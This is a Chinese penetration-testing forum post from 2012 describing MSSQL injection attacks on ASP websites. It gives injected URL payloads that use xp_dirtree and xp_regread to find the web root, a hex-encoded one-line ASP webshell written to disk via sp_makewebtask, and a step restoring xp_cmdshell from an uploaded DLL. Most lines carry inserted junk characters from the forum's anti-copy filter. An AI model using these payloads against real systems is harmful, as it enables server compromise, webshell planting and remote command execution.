中国网络渗透测试联盟

标题: MSsqlL注入取得网站路径最好的方法 [打印本页]

作者: admin    时间: 2012-9-13 17:20
标题: MSsqlL注入取得网站路径最好的方法
好,我们exec master..xp_dirtree'd:/test'
% }0 O" b- N& v( H6 q4 B5 t# }5 Z假设我们在test里有两个文件夹test1和test2在test1里又有test3; X$ n( {# o* @+ E8 P
结果显示. I  r8 D/ M$ R  t. C6 D
* s9 F7 l/ c" u% v: P
subdirectory depth
5 e4 {9 z& s% V' r' atest1 1
2 ~. i" l+ q2 v$ }. O- i1 Ltest3 2" b9 J9 I1 `9 K* q/ D3 R
test2 12 H0 ]0 `; ^: k, y+ q4 {9 q4 M* g7 `

9 o+ r& p4 W& o7 F哈哈发现没有那个depth就是目录的级数
# [) d+ n1 a7 C! T3 @/ H3 aok了,知道怎么办了吧
' _+ T; A) T5 C; W0 s+ j- `
1 k' I* j" w! Xhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
( J6 V# \4 }+ m# ]) y5 ]0 K2 ]" Ohttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- , A! ]' T/ g2 ]7 ^. q: O$ l0 e
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-+ L2 l0 K9 V  E4 |3 A
1 `' z4 F% Y+ @$ C9 g% f4 i' u
只要加上id=1,就是第一级目录 。2 q/ J+ a; a2 E: k6 \2 M" n1 d
9 I" `% S) m" n

# Z: U1 c% W& a  c! q; ~- N通过注册表读网站路径:
6 o+ O0 f0 ]: S1 h" {$ a/ K' k; P( ]8 `; O0 g
1.;create table [dbo].[cyfd] ([gyfd][char](255));' M% |7 r. F: _! _: s* }2 B# A
3 t' f! _9 m, V$ c; a  C& s
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
- }' k- I, @" h) f  C/ C6 z% O9 y" Tid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--: x+ v% C% n9 E

+ X! a6 p5 C- T6 T9 K1 _3.and 1=(select count(*) from 临时表 where 临时字段名>1)0 G9 v" j" D+ I% f
and 1=(select count(*) from cyfd where gyfd > 1)
' L8 P+ l! }. _3 D: Y% g# a这样IE报错,就把刚才插进去的Web路径的值报出来了" d- w7 {3 x; D4 w3 K* S* ]

% I$ Z; f6 o0 X5 i5 K* c4.drop table cyfd;-- 删除临时表& Q; U: B% f. q' d+ ^. X% A) @+ F

/ e: I- m- {: D( x8 O7 w获得webshell方法:
- B7 S$ e6 I, J* z% y  f2 |1.create table cmd (a image)-- \**cmd是创建的临时表
6 n" e) ~- ]$ f
5 x* j" r; o( E9 q7 r& h2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
9 Y1 Y( m: H& f& @1 j2 J, L2 O2 _, U

2 a( _. ~+ |' y- k8 T3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
# E  S  C1 ?' e" M& AEXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
+ c6 u9 V9 h1 i+ {1 e$ p, X0 y# X( ^) W6 x
4.drop table cmd;-- 删除cmd临时表2 c, m8 j9 |) F2 r$ a# r! v3 }* v

/ m/ z) m$ E/ `4 k& A恢复xp_cmdshell方法之一:
8 O% T& J: U+ m: b- V我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:+ p& Z8 z4 b. x$ [
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'; c5 o9 W0 D- ]7 P1 E
恢复,支持绝对路径的恢复哦。:)
; F" V, W+ s: \: w/ k5 S




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2